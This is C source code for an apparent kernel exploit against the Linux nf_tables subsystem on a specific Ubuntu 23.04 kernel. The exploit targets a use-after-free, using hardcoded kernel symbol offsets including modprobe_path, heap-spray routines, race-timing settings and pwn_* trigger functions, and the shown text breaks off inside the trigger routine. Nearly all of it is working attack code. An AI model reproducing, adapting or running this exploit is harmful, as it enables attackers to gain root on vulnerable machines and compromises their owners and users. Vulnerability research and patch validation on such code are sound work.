/**************************************************************************** * * Please read EXPLOIT.md carefully before using. * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include uint64_t cfg_race_set_slab = 1; uint64_t cfg_race_set_elem_count = 0x300 * 0x800; useconds_t cfg_initial_usleep = 4 * 1000 * 1000; useconds_t cfg_race_lead_usleep = 100 * 1000; useconds_t cfg_race_lag_usleep = 600 * 1000; useconds_t cfg_reuse_usleep = 100 * 1000; /* * Specific to the Linux kernel distributed in binary form as the following * packages from Ubuntu 23.04 (Lunar Lobster): * * "linux-image-6.2.0-20-generic", version "6.2.0-20.20", and * * "linux-modules-6.2.0-20-generic", version "6.2.0-20.20". */ uint64_t cfg_free_percpu = 0xffffffffa419d240 - 0xffffffffa3e00000; uint64_t cfg_modprobe_path = 0xffffffffa688b900 - 0xffffffffa3e00000; uint64_t cfg_nft_counter_destroy = 0xffffffffc06a3700 - 0xffffffffc0680000; uint64_t cfg_nft_counter_ops = 0xffffffffc06b47a0 - 0xffffffffc0680000; /* 0000000000023700 : 23700: e8 00 00 00 00 call <__fentry__> 23705: 55 push rbp 23706: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8] 2370a: 48 89 e5 mov rbp,rsp 2370d: e8 00 00 00 00 call 23712: 5d pop rbp 23713: 31 f6 xor esi,esi 23715: 31 ff xor edi,edi 23717: e9 00 00 00 00 jmp <__x86_return_thunk> */ uint64_t cfg_nft_counter_destroy_call_offset = (0x23712 - 0x23700) - 8; uint64_t cfg_nft_counter_destroy_call_mask = 0xffffffff; uint64_t cfg_nft_counter_destroy_call_check = 0xe8e58948; #define uaf_chunk_size 0x80 #define mnl_batch_limit (1024 * 1024) char mnl_batch_buffer[2 * mnl_batch_limit]; char uaf_set_key[8 + 0x34]; char log_prefix[0x100]; static void cfg_print() { printf("\nUsing profile:\n========\n"); printf("%-19ld race_set_slab # {0,1}\n", cfg_race_set_slab); printf("%-19ld race_set_elem_count # k\n", cfg_race_set_elem_count / 1000); printf("%-19d initial_sleep # ms\n", cfg_initial_usleep / 1000); printf("%-19d race_lead_sleep # ms\n", cfg_race_lead_usleep / 1000); printf("%-19d race_lag_sleep # ms\n", cfg_race_lag_usleep / 1000); printf("%-19d reuse_sleep # ms\n", cfg_reuse_usleep / 1000); printf("%-19lx free_percpu # hex\n", cfg_free_percpu); printf("%-19lx modprobe_path # hex\n", cfg_modprobe_path); printf("%-19lx nft_counter_destroy # hex\n", cfg_nft_counter_destroy); printf("%-19lx nft_counter_ops # hex\n", cfg_nft_counter_ops); printf("%-19lx nft_counter_destroy_call_offset # hex\n", cfg_nft_counter_destroy_call_offset); printf("%-19lx nft_counter_destroy_call_mask # hex\n", cfg_nft_counter_destroy_call_mask); printf("%-19lx nft_counter_destroy_call_check # hex\n", cfg_nft_counter_destroy_call_check); printf("========\n\n"); } int cfg_load_line(char *line) { char *saveptr = NULL; char *value = strtok_r(line, "\t ", &saveptr); if (value == NULL) { return EFAULT; } char *key = NULL; do { key = strtok_r(NULL, "\t\n ", &saveptr); if (key == NULL) { return EFAULT; } } while (strlen(key) < 2); errno = 0; if (strcmp(key, "race_set_slab") == 0) { cfg_race_set_slab = strtoul(value, NULL, 0); } else if (strcmp(key, "race_set_elem_count") == 0) { cfg_race_set_elem_count = 1000L * strtoul(value, NULL, 0); } else if (strcmp(key, "initial_sleep") == 0) { cfg_initial_usleep = 1000L * strtoul(value, NULL, 0); } else if (strcmp(key, "race_lead_sleep") == 0) { cfg_race_lead_usleep = 1000L * strtoul(value, NULL, 0); } else if (strcmp(key, "race_lag_sleep") == 0) { cfg_race_lag_usleep = 1000L * strtoul(value, NULL, 0); } else if (strcmp(key, "reuse_sleep") == 0) { cfg_reuse_usleep = 1000L * strtoul(value, NULL, 0); } else if (strcmp(key, "free_percpu") == 0) { cfg_free_percpu = strtoul(value, NULL, 16); } else if (strcmp(key, "modprobe_path") == 0) { cfg_modprobe_path = strtoul(value, NULL, 16); } else if (strcmp(key, "nft_counter_destroy") == 0) { cfg_nft_counter_destroy = strtoul(value, NULL, 16); } else if (strcmp(key, "nft_counter_ops") == 0) { cfg_nft_counter_ops = strtoul(value, NULL, 16); } else if (strcmp(key, "nft_counter_destroy_call_offset") == 0) { cfg_nft_counter_destroy_call_offset = strtoul(value, NULL, 16); } else if (strcmp(key, "nft_counter_destroy_call_mask") == 0) { cfg_nft_counter_destroy_call_mask = strtoul(value, NULL, 16); } else if (strcmp(key, "nft_counter_destroy_call_check") == 0) { cfg_nft_counter_destroy_call_check = strtoul(value, NULL, 16); } else { errno = ENOENT; } return errno; } static void cfg_load(char *path) { FILE *stream = fopen(path, "r"); if (stream != NULL) { char *line = NULL; size_t len = 0; ssize_t nread; while ((nread = getline(&line, &len, stream)) != -1) { printf("[*] Profile line: %s", line); if (cfg_load_line(line) != 0) { printf("[!] ERROR\n"); } } fclose(stream); } } void hex_dump(const char *data, ssize_t size) { if (size <= 0) { printf("\n*** empty ***\n"); } else { char hex_buf[0x40]; char ascii_buf[0x20]; ssize_t ix = 0; int pos = 0; do { unsigned char byte = data[ix]; sprintf(hex_buf + 3 * pos, "%02x ", byte); ascii_buf[pos] = ((0x20 <= byte) && (byte < 0x7e))? byte: '.'; ++ ix; ++ pos; if ((ix == size) || (pos == 0x10)) { ascii_buf[pos] = 0; printf("\n%04lx: %-48s | %s", ix - pos, hex_buf, ascii_buf); pos = 0; } } while (ix < size); printf("\n"); } } void file_write(char *path, int flags, mode_t mode, char *content, size_t content_size) { int res; int fd = open(path, flags, mode); if (fd == -1) { err(1, "Cannot into open()"); } ssize_t size = write(fd, content, content_size); if (size != content_size) { err(1, "Cannot into write()"); } res = close(fd); if (res != 0) { err(1, "Cannot into close()"); } } static void append_del_set(struct mnl_nlmsg_batch *batch, uint32_t seq, uint32_t family, char *table_name, char *set_name) { struct nftnl_set *set = nftnl_set_alloc(); if (set == NULL) { errx(1, "Cannot into nftnl_set_alloc()"); } nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family); nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_DELSET, NFPROTO_INET, NLM_F_ACK, seq ); nftnl_set_nlmsg_build_payload(nlh, set); mnl_nlmsg_batch_next(batch); nftnl_set_free(set); } static void append_new_obj(struct mnl_nlmsg_batch *batch, uint32_t seq, uint32_t family, char *table_name, char *obj_name, char *obj_userdata, uint32_t obj_userdata_len) { struct nftnl_obj *obj = nftnl_obj_alloc(); if (obj == NULL) { errx(1, "Cannot into nftnl_obj_alloc()"); } nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, family); nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name); nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name); if (obj_userdata) { nftnl_obj_set_data(obj, NFTNL_OBJ_USERDATA, obj_userdata, obj_userdata_len); } struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, family, NLM_F_ACK, seq++ ); nftnl_obj_nlmsg_build_payload(nlh, obj); nftnl_obj_free(obj); mnl_nlmsg_batch_next(batch); } static void append_del_obj(struct mnl_nlmsg_batch *batch, uint32_t seq, uint32_t family, char *table_name, char *obj_name) { struct nftnl_obj *obj = nftnl_obj_alloc(); if (obj == NULL) { errx(1, "Cannot into nftnl_obj_alloc()"); } nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, family); nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER); nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name); nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name); struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_DELOBJ, family, NLM_F_ACK, seq++ ); nftnl_obj_nlmsg_build_payload(nlh, obj); nftnl_obj_free(obj); mnl_nlmsg_batch_next(batch); } static void append_del_rule(struct mnl_nlmsg_batch *batch, uint32_t seq, uint32_t family, char *table_name, char *chain_name, uint64_t rule_handle) { struct nftnl_rule *rule = nftnl_rule_alloc(); if (rule == NULL) { errx(1, "Cannot into nftnl_rule_alloc()"); } nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name); nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family); if (rule_handle != -1) { nftnl_rule_set_u64(rule, NFTNL_RULE_HANDLE, rule_handle); } struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, NLM_F_ACK, seq ); nftnl_rule_nlmsg_build_payload(nlh, rule); mnl_nlmsg_batch_next(batch); nftnl_rule_free(rule); } uint32_t pwn_family = NFPROTO_INET; char *pwn_table = "testfirewall"; char *pwn_lookup_set = "set_A"; char *pwn_lookup_chain = "OUTPUT"; char *pwn_log_chain = "INPUT"; char *pwn_dynset_set = "set_dyn"; char *pwn_dynset_chain = "chain_dyn"; static void pwn_create_table(struct mnl_nlmsg_batch *batch, uint32_t seq) { struct nftnl_table *table = nftnl_table_alloc(); if (table == NULL) { errx(1, "Cannot into nftnl_table_alloc()"); } nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, pwn_family); nftnl_table_set_str(table, NFTNL_TABLE_NAME, pwn_table); struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, pwn_family, NLM_F_CREATE | NLM_F_ACK, seq ); nftnl_table_nlmsg_build_payload(nlh, table); mnl_nlmsg_batch_next(batch); nftnl_table_free(table); } static void pwn_create_set(struct mnl_nlmsg_batch *batch, uint32_t seq, char *set_name, uint32_t set_id, uint32_t set_flags, uint32_t set_key_len, uint32_t set_desc_size, void *set_userdata, uint32_t set_userdata_len) { struct nftnl_set *set = nftnl_set_alloc(); if (set == NULL) { errx(1, "Cannot into nftnl_set_alloc()"); } nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set, NFTNL_SET_ID, set_id); nftnl_set_set_u32(set, NFTNL_SET_FLAGS, set_flags); nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, set_key_len); if (set_desc_size != 0) { nftnl_set_set_u32(set, NFTNL_SET_DESC_SIZE, set_desc_size); } if (set_userdata != NULL) { nftnl_set_set_data(set, NFTNL_SET_USERDATA, set_userdata, set_userdata_len); } struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, pwn_family, NLM_F_CREATE | NLM_F_ACK, seq ); nftnl_set_nlmsg_build_payload(nlh, set); mnl_nlmsg_batch_next(batch); nftnl_set_free(set); } static void pwn_create_chain(struct mnl_nlmsg_batch *batch, uint32_t seq, char *chain_name) { struct nftnl_chain *chain = nftnl_chain_alloc(); if (chain == NULL) { errx(1, "Cannot into nftnl_chain_alloc()"); } nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family); nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table); nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, pwn_family, NLM_F_CREATE | NLM_F_ACK, seq ); nftnl_chain_nlmsg_build_payload(nlh, chain); mnl_nlmsg_batch_next(batch); nftnl_chain_free(chain); } static void pwn_create_lookup_set_elem(struct mnl_nlmsg_batch *batch, uint32_t seq, char *set_name, void *set_elem_key, uint32_t set_elem_key_len) { char set_elem_userdata[0x2f] = {}; struct nftnl_set *set = nftnl_set_alloc(); if (set == NULL) { errx(1, "Cannot into nftnl_set_alloc()"); } nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc(); if (set_elem == NULL) { errx(1, "Cannot into nftnl_set_elem_alloc()"); } nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, set_elem_key_len); nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_USERDATA, set_elem_userdata, sizeof(set_elem_userdata)); nftnl_set_elem_add(set, set_elem); struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, NFPROTO_INET, NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, seq ); nftnl_set_elems_nlmsg_build_payload(nlh, set); mnl_nlmsg_batch_next(batch); nftnl_set_free(set); } static void pwn_create_lookup_rule(struct mnl_nlmsg_batch *batch, uint32_t seq, char *chain_name, char *set_name) { struct nftnl_rule *rule = nftnl_rule_alloc(); if (rule == NULL) { errx(1, "Cannot into nftnl_rule_alloc()"); } nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family); nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table); nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); struct nftnl_expr *lookup = nftnl_expr_alloc("lookup"); if (lookup == NULL) { errx(1, "Cannot into nftnl_expr_alloc()"); } nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1); nftnl_expr_set_str(lookup, NFTNL_EXPR_LOOKUP_SET, set_name); nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_FLAGS, 0); nftnl_rule_add_expr(rule, lookup); struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, pwn_family, NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, seq ); nftnl_rule_nlmsg_build_payload(nlh, rule); mnl_nlmsg_batch_next(batch); nftnl_rule_free(rule); } static void pwn_create_log_rule(struct mnl_nlmsg_batch *batch, uint32_t seq, char *chain_name, char *log_prefix) { char rule_userdata[0x2f] = {}; struct nftnl_rule *rule = nftnl_rule_alloc(); if (rule == NULL) { errx(1, "Cannot into nftnl_rule_alloc()"); } nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family); nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table); nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); nftnl_rule_set_data(rule, NFTNL_RULE_USERDATA, rule_userdata, sizeof(rule_userdata)); struct nftnl_expr *byteorder = nftnl_expr_alloc("byteorder"); if (byteorder == NULL) { errx(1, "Cannot into nftnl_expr_alloc()"); } nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_OP, NFT_BYTEORDER_NTOH); nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_SIZE, 8); nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_SREG, NFT_REG_1); nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_DREG, NFT_REG_2); nftnl_expr_set_u32(byteorder, NFTNL_EXPR_BYTEORDER_LEN, 1); nftnl_rule_add_expr(rule, byteorder); struct nftnl_expr *log = nftnl_expr_alloc("log"); if (log == NULL) { errx(1, "Cannot into nftnl_expr_alloc()"); } nftnl_expr_set_u32(log, NFTNL_EXPR_LOG_LEVEL, NFT_LOGLEVEL_AUDIT); nftnl_expr_set_str(log, NFTNL_EXPR_LOG_PREFIX, log_prefix); nftnl_rule_add_expr(rule, log); struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, pwn_family, NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, seq ); nftnl_rule_nlmsg_build_payload(nlh, rule); mnl_nlmsg_batch_next(batch); nftnl_rule_free(rule); } static void pwn_create_dynset_set(struct mnl_nlmsg_batch *batch, uint32_t seq, char *set_name, uint32_t set_id) { struct nftnl_set *set = nftnl_set_alloc(); if (set == NULL) { errx(1, "Cannot into nftnl_set_alloc()"); } nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); nftnl_set_set_str(set, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(set, NFTNL_SET_ID, set_id); nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_EVAL | NFT_SET_EXPR); nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 0x34); struct nftnl_expr *counter = nftnl_expr_alloc("counter"); if (counter == NULL) { errx(1, "Cannot into nftnl_expr_alloc()"); } nftnl_set_add_expr(set, counter); struct nftnl_expr *quota = nftnl_expr_alloc("quota"); if (quota == NULL) { errx(1, "Cannot into nftnl_expr_alloc()"); } nftnl_expr_set_u64(quota, NFTNL_EXPR_QUOTA_BYTES, 0x7fffffffffffffff); nftnl_set_add_expr(set, quota); struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, pwn_family, NLM_F_CREATE | NLM_F_ACK, seq ); nftnl_set_nlmsg_build_payload(nlh, set); mnl_nlmsg_batch_next(batch); nftnl_set_free(set); } static void pwn_create_dynset_chain(struct mnl_nlmsg_batch *batch, uint32_t seq, char *chain_name) { struct nftnl_chain *chain = nftnl_chain_alloc(); if (chain == NULL) { errx(1, "Cannot into nftnl_chain_alloc()"); } nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, pwn_family); nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, pwn_table); nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name); nftnl_chain_set_str(chain, NFTNL_CHAIN_TYPE, "filter"); nftnl_chain_set_u32(chain, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_OUT); nftnl_chain_set_u32(chain, NFTNL_CHAIN_PRIO, 0); struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, pwn_family, NLM_F_CREATE | NLM_F_ACK, seq ); nftnl_chain_nlmsg_build_payload(nlh, chain); mnl_nlmsg_batch_next(batch); nftnl_chain_free(chain); } static void pwn_create_dynset_rule(struct mnl_nlmsg_batch *batch, uint32_t seq, char *chain_name, char *dynset_set_name) { struct nftnl_rule *rule = nftnl_rule_alloc(); if (rule == NULL) { errx(1, "Cannot into nftnl_rule_alloc()"); } nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, pwn_family); nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, pwn_table); nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name); struct nftnl_expr *payload = nftnl_expr_alloc("payload"); if (payload == NULL) { errx(1, "Cannot into nftnl_expr_alloc()"); } nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_BASE, NFT_PAYLOAD_INNER_HEADER); nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_OFFSET, 0); nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_LEN, 1); nftnl_expr_set_u32(payload, NFTNL_EXPR_PAYLOAD_DREG, NFT_REG_1); nftnl_rule_add_expr(rule, payload); struct nftnl_expr *dynset = nftnl_expr_alloc("dynset"); if (dynset == NULL) { errx(1, "Cannot into nftnl_expr_alloc()"); } nftnl_expr_set_str(dynset, NFTNL_EXPR_DYNSET_SET_NAME, dynset_set_name); nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_OP, htonl(NFT_DYNSET_OP_UPDATE)); nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_FLAGS, NFT_DYNSET_F_EXPR); nftnl_expr_set_u32(dynset, NFTNL_EXPR_DYNSET_SREG_KEY, NFT_REG_1); struct nftnl_expr *counter = nftnl_expr_alloc("counter"); if (counter == NULL) { errx(1, "Cannot into nftnl_expr_alloc()"); } nftnl_expr_add_expr(dynset, NFTNL_EXPR_DYNSET_EXPR, counter); struct nftnl_expr *quota = nftnl_expr_alloc("quota"); if (quota == NULL) { errx(1, "Cannot into nftnl_expr_alloc()"); } nftnl_expr_set_u64(quota, NFTNL_EXPR_QUOTA_BYTES, 0x7fffffffffffffff); nftnl_expr_add_expr(dynset, NFTNL_EXPR_DYNSET_EXPR, quota); nftnl_rule_add_expr(rule, dynset); struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, pwn_family, NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK, seq ); nftnl_rule_nlmsg_build_payload(nlh, rule); mnl_nlmsg_batch_next(batch); nftnl_rule_free(rule); } static void pwn_prepare(struct mnl_socket *nl) { uint32_t portid, seq, table_seq; int ret; printf("pwn_prepare\n"); seq = time(NULL); struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); table_seq = seq; mnl_nlmsg_batch_next(batch); pwn_create_table(batch, seq++); pwn_create_chain(batch, seq++, pwn_lookup_chain); pwn_create_chain(batch, seq++, pwn_log_chain); /* load "nft_log.ko" now to reduce noise when racing */ pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix); pwn_create_dynset_set(batch, seq++, pwn_dynset_set, 0); pwn_create_dynset_chain(batch, seq++, pwn_dynset_chain); pwn_create_dynset_rule(batch, seq++, pwn_dynset_chain, pwn_dynset_set); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } mnl_nlmsg_batch_stop(batch); while (table_seq + 1 != seq) { ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); if (ret <= 0) break; ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); if (ret < 0) break; table_seq++; } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } static void pwn_uaf_spray(struct mnl_socket *nl) { uint32_t portid, seq, table_seq; int ret; printf("pwn_uaf_spray\n"); memset(uaf_set_key, 0, sizeof(uaf_set_key)); uaf_set_key[4] = 0x90; char set_userdata_buf[0x100] = {}; char *set_userdata; uint32_t set_userdata_size; if (cfg_race_set_slab == 0) { set_userdata = NULL; set_userdata_size = 0; } else { set_userdata = set_userdata_buf; set_userdata_size = sizeof(set_userdata_buf); } seq = time(NULL); struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); table_seq = seq; mnl_nlmsg_batch_next(batch); for (int spray = - 0x50; spray < 10; ++ spray) { if (spray == 0) { pwn_create_set(batch, seq++, pwn_lookup_set, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size); } else { char *set_name; asprintf(&set_name, "spray_set_%04hx", spray); pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), 0, set_userdata, set_userdata_size); } } for (int spray = - 0x60; spray < 0x21; ++ spray) { if (spray == 0) { pwn_create_lookup_set_elem(batch, seq++, pwn_lookup_set, uaf_set_key, sizeof(uaf_set_key)); } else { pwn_create_log_rule(batch, seq++, pwn_log_chain, log_prefix); } } for (int spray = 1; spray < 10; ++ spray) { char *obj_name; asprintf(&obj_name, "spray_obj_%04hx", spray); char obj_userdata[uaf_chunk_size]; memset(obj_userdata, 'B', sizeof(obj_userdata)); append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata)); } pwn_create_lookup_rule(batch, seq++, pwn_lookup_chain, pwn_lookup_set); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } mnl_nlmsg_batch_stop(batch); while (table_seq + 1 != seq) { ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); if (ret <= 0) break; ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); if (ret < 0) break; table_seq++; } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } static void pwn_delay_spray_set(struct mnl_socket *nl) { uint32_t portid, seq, table_seq; int ret; printf("pwn_delay_spray_set\n"); seq = time(NULL); struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); table_seq = seq; mnl_nlmsg_batch_next(batch); pwn_create_set(batch, seq++, "set_delay", 1, 0, sizeof(uint64_t), 0, NULL, 0); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } mnl_nlmsg_batch_stop(batch); while (table_seq + 1 != seq) { ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); if (ret <= 0) break; ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); if (ret < 0) break; table_seq++; } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } static void pwn_delay_spray_set_elem(struct mnl_socket *nl, uint64_t *set_elem_key, uint64_t set_elem_key_end) { uint32_t portid, seq, table_seq; int ret; seq = time(NULL); struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); table_seq = seq; mnl_nlmsg_batch_next(batch); struct nftnl_set *set = nftnl_set_alloc(); if (set == NULL) { errx(1, "Cannot into nftnl_set_alloc()"); } nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); nftnl_set_set_str(set, NFTNL_SET_NAME, "set_delay"); uint64_t count = set_elem_key_end - (*set_elem_key); if (count > 0x800) { count = 0x800; } while (count > 0) { -- count; struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc(); if (set_elem == NULL) { errx(1, "Cannot into nftnl_set_elem_alloc()"); } nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, sizeof(*set_elem_key)); nftnl_set_elem_add(set, set_elem); ++ (*set_elem_key); } struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, NFPROTO_INET, NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK, seq++ ); nftnl_set_elems_nlmsg_build_payload(nlh, set); mnl_nlmsg_batch_next(batch); nftnl_set_free(set); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); portid = mnl_socket_get_portid(nl); if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "Cannot into mnl_socket_sendto()"); } mnl_nlmsg_batch_stop(batch); while (table_seq + 1 != seq) { ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit); if (ret <= 0) break; ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL); if (ret < 0) break; table_seq++; } if (ret == -1) { err(1, "Cannot into mnl_socket_recvfrom()"); } } static void pwn_uaf_trigger(struct mnl_socket *nl) { struct mnl_nlmsg_batch *batch; uint32_t portid, seq, table_seq; int ret; printf("pwn_uaf_trigger\n"); seq = time(NULL); batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit); nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); table_seq = seq; mnl_nlmsg_batch_next(batch); append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_lookup_chain, -1); for (int spray = 2; spray < 10; spray += 2) { char *set_name; asprintf(&set_name, "spray_set_%04hx", spray); append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", set_name); } append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", "set_delay"); struct nftnl_set *set = nftnl_set_alloc(); if (set == NULL) { errx(1, "Cannot into nftnl_set_alloc()"); } nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family); nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table); nftnl_set_set_str(set, NFTNL_SET_NAME, pwn_lookup_set); struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc(); if (set_elem == NULL) { errx(1, "Cannot into nftnl_set_elem_alloc()"); } nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, uaf_set_key, sizeof(uaf_set_key)); nftnl_set_elem_add(set, set_elem); struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr( 